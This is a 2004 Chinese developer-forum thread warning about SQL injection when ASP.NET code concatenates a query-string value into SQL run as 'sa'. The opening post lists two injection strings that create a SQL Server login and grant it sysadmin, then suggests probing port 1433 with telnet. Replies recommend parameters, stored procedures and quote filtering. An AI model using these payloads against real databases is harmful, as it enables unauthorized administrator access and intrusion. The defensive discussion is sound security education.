[斑竹置顶]你知道 "select .. where name = "+ Request.QueryString["name"]的后果?

ahui_net 2004-06-28 05:56:12
很多人用数据库发布的时候都用的sa,再加上"select .. where name = "+ Request.QueryString["name"]这样的操作,我们来看看结果是怎么样?!

[篇幅问题,具体命令自己查查]

把Request.QueryString["name"]的值改为:
1. ;exec master.dbo.sp_addlogin Test, Test, master-- // 建立用户
2. ;EXEC master.dbo.sp_addsrvrolemember 'Test', 'sysadmin'-- // 将用户test提升为管理员组

用 telnet www.***.com 1433 查看是否可以远程登陆,如果可以嘿嘿..

不可以呢?
向下看
...全文
524 47 打赏 收藏 转发到动态 举报
写回复
用AI写文章
47 条回复
切换为时间正序
请发表友善的回复…
发表回复
reddg 2004-07-01
  • 打赏
  • 举报
回复
up
海大富运动 2004-07-01
  • 打赏
  • 举报
回复
像这种问题,有什么高级编程的书可以看看吗
海大富运动 2004-07-01
  • 打赏
  • 举报
回复
请问:什么是 注入式攻击!呵呵,小菜鸟的问题,大家别笑
hunterzhi 2004-07-01
  • 打赏
  • 举报
回复
BillTuan 2004-07-01
  • 打赏
  • 举报
回复
up
goody9807 2004-07-01
  • 打赏
  • 举报
回复
收藏
nameldw 2004-07-01
  • 打赏
  • 举报
回复
学习
guying999 2004-07-01
  • 打赏
  • 举报
回复
呵呵,这叫注入式攻击,可以通过使用存储过程,或者过滤掉一些危险字符来防止
langmafeng 2004-07-01
  • 打赏
  • 举报
回复
用参数
melonlee 2004-07-01
  • 打赏
  • 举报
回复
学习~!!!!!
bjy_ly 2004-07-01
  • 打赏
  • 举报
回复
我通常都是屏蔽“'”
Piyongcai 2004-06-30
  • 打赏
  • 举报
回复
收藏!
Raimond 2004-06-30
  • 打赏
  • 举报
回复
收藏!
vzxq 2004-06-30
  • 打赏
  • 举报
回复
支持 use procedure
little119 2004-06-30
  • 打赏
  • 举报
回复
学习!收藏!!!!
menuvb 2004-06-30
  • 打赏
  • 举报
回复
"select .. where name = "+ Request.QueryString["name"]

主要就是存在SQL注入式攻击了,不过如果使用存储过程
该存储过程的输入参数=Request.QueryString["name"] 就不会存在这个问题了。
smilex 2004-06-30
  • 打赏
  • 举报
回复
to:aivii(龍)
那是不是在登陆时做限制就行了呢????
smilex 2004-06-30
  • 打赏
  • 举报
回复
学习
happyjun2000 2004-06-30
  • 打赏
  • 举报
回复
收藏
stpangpang 2004-06-30
  • 打赏
  • 举报
回复
使用 SqlParameter 参数 如果不是怕麻烦,全部用proc
---
aivii(龍) 你的第 2 ,3个方法 太强了pf
加载更多回复(27)

62,074

社区成员

发帖
与我相关
我的任务
社区描述
.NET技术交流专区
javascript云原生 企业社区
社区管理员
  • ASP.NET
  • .Net开发者社区
  • R小R
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告

.NET 社区是一个围绕开源 .NET 的开放、热情、创新、包容的技术社区。社区致力于为广大 .NET 爱好者提供一个良好的知识共享、协同互助的 .NET 技术交流环境。我们尊重不同意见,支持健康理性的辩论和互动,反对歧视和攻击。

希望和大家一起共同营造一个活跃、友好的社区氛围。

试试用AI创作助手写篇文章吧